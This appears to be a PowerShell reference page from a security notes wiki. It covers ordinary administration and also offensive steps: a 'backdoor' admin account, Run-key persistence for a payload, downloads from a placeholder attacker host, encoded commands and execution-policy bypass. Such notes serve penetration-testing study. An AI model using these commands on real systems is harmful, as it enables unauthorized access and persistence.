☼
⌃
☰

PowerShell

Table of Contents

Microsoft's task automation shell and scripting language. Built on .NET — cmdlets return objects rather than text, making data manipulation significantly more powerful than cmd.exe. PowerShell 7+ (cross-platform, open source) is distinct from Windows PowerShell 5.1 (built into Windows). Most security work and administration uses 5.1 on Windows targets.

Related: Core Windows Processes Windows Event Logs Windows Privilege Escalation evil-winrm

Core Concepts

POWERSHELL
# Cmdlet format: Verb-Noun
Get-Process
Stop-Service -Name "wuauserv"

# Pipeline — pass objects between cmdlets
Get-Process | Where-Object {$_.CPU -gt 100} | Select-Object Name, CPU

# Get help
Get-Help Get-Process
Get-Help Get-Process -Examples
Get-Command *service*         # find cmdlets matching a pattern

# Aliases (common Linux equivalents)
ls   # Get-ChildItem
cd   # Set-Location
cat  # Get-Content
ps   # Get-Process
kill # Stop-Process

Navigation and File System

POWERSHELL
# Navigation
Set-Location C:\Users
Get-Location                  # pwd equivalent

# List directory
Get-ChildItem
Get-ChildItem -Recurse -Filter "*.config"
Get-ChildItem -Hidden         # show hidden files

# File operations
Copy-Item file.txt C:\Temp\
Move-Item file.txt C:\Temp\file_moved.txt
Remove-Item file.txt
Remove-Item C:\Temp\ -Recurse -Force
New-Item -ItemType Directory -Path C:\Temp\NewFolder
New-Item -ItemType File -Path C:\Temp\new.txt

# Read / write files
Get-Content C:\file.txt
Set-Content C:\file.txt "content"
Add-Content C:\file.txt "append this"
Get-Content C:\file.txt | Select-String "password"  # grep equivalent

Process and Service Management

POWERSHELL
# Processes
Get-Process
Get-Process -Name "explorer"
Stop-Process -Name "notepad" -Force
Start-Process "notepad.exe"
Start-Process cmd.exe -Verb RunAs   # run as admin

# Services
Get-Service
Get-Service -Name "wuauserv"
Start-Service -Name "wuauserv"
Stop-Service -Name "wuauserv"
Set-Service -Name "wuauserv" -StartupType Disabled

Networking

POWERSHELL
# Network configuration
Get-NetIPAddress
Get-NetAdapter
Test-NetConnection google.com -Port 443    # test connectivity + port

# DNS
Resolve-DnsName google.com
Resolve-DnsName -Type MX google.com

# Active connections (netstat equivalent)
Get-NetTCPConnection
Get-NetTCPConnection -State Established
Get-NetTCPConnection -LocalPort 443

# Firewall
Get-NetFirewallRule | Where-Object {$_.Enabled -eq "True"}
New-NetFirewallRule -DisplayName "Allow 8080" -Direction Inbound -Port 8080 -Protocol TCP -Action Allow

Remote Management

POWERSHELL
# WinRM must be enabled on target: Enable-PSRemoting
# Run commands on remote machine
Invoke-Command -ComputerName $TARGET -ScriptBlock { Get-Process }

# Interactive remote session
Enter-PSSession -ComputerName $TARGET
Enter-PSSession -ComputerName $TARGET -Credential (Get-Credential)
Exit-PSSession

# Pass credentials without prompt
$cred = New-Object System.Management.Automation.PSCredential("user", (ConvertTo-SecureString "pass" -AsPlainText -Force))
Enter-PSSession -ComputerName $TARGET -Credential $cred

User and Group Management

POWERSHELL
# Local users
Get-LocalUser
New-LocalUser -Name "backdoor" -Password (ConvertTo-SecureString "Pass123!" -AsPlainText -Force)
Add-LocalGroupMember -Group "Administrators" -Member "backdoor"
Remove-LocalUser -Name "backdoor"

# Domain (Active Directory module)
Get-ADUser -Filter * | Select-Object Name, SamAccountName
Get-ADGroupMember -Identity "Domain Admins"
Get-ADComputer -Filter *

Registry

POWERSHELL
# Navigate registry like a filesystem
Set-Location HKLM:\Software\Microsoft\Windows\CurrentVersion\Run
Get-ChildItem HKLM:\Software\Microsoft\Windows\CurrentVersion\Run

# Read a value
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

# Write a value (persistence)
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "Updater" -Value "C:\Temp\payload.exe"

# Delete a value
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
  -Name "Updater"

Useful One-Liners

POWERSHELL
# Find files containing a string (recursive)
Get-ChildItem -Recurse | Select-String "password" | Select-Object Path, Line

# Download a file
Invoke-WebRequest -Uri "http://$ATTACKER/file.exe" -OutFile "C:\Temp\file.exe"
(New-Object Net.WebClient).DownloadFile("http://$ATTACKER/file.exe","C:\Temp\file.exe")

# Base64 encode/decode (useful for payload delivery)
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("whoami"))
[System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String("dwBoAG8AYQBtAGkA"))

# Execute base64-encoded command (common in offensive tooling)
powershell -EncodedCommand <base64>

# Check execution policy
Get-ExecutionPolicy
Set-ExecutionPolicy Bypass -Scope Process -Force   # bypass for current session

# Bypass execution policy without changing it
powershell -ExecutionPolicy Bypass -File script.ps1

# Get system info
Get-ComputerInfo
[System.Environment]::OSVersion

Event Log Queries

POWERSHELL
# Query event logs
Get-EventLog -LogName Security -Newest 50
Get-EventLog -LogName Security -InstanceId 4624   # successful logons
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 100

# Filter by time
Get-EventLog -LogName System -After (Get-Date).AddHours(-24)

See Windows Event Logs for Event ID reference.

Tips

  • Use Get-Help and Get-Command constantly — PowerShell's built-in help is comprehensive and includes examples
  • The pipeline is the core skill — chaining Where-Object and Select-Object handles most data filtering without external tools
  • Invoke-WebRequest (iwr) and (New-Object Net.WebClient) are the two standard download methods — know both since one may be blocked on hardened targets
  • Execution policy is not a security boundary — it can be bypassed trivially; on a target system do not rely on it to prevent malicious scripts from running
  • Transcription logging (Start-Transcript) and ScriptBlock logging write all executed PowerShell to event logs — assume all PowerShell activity is logged on hardened environments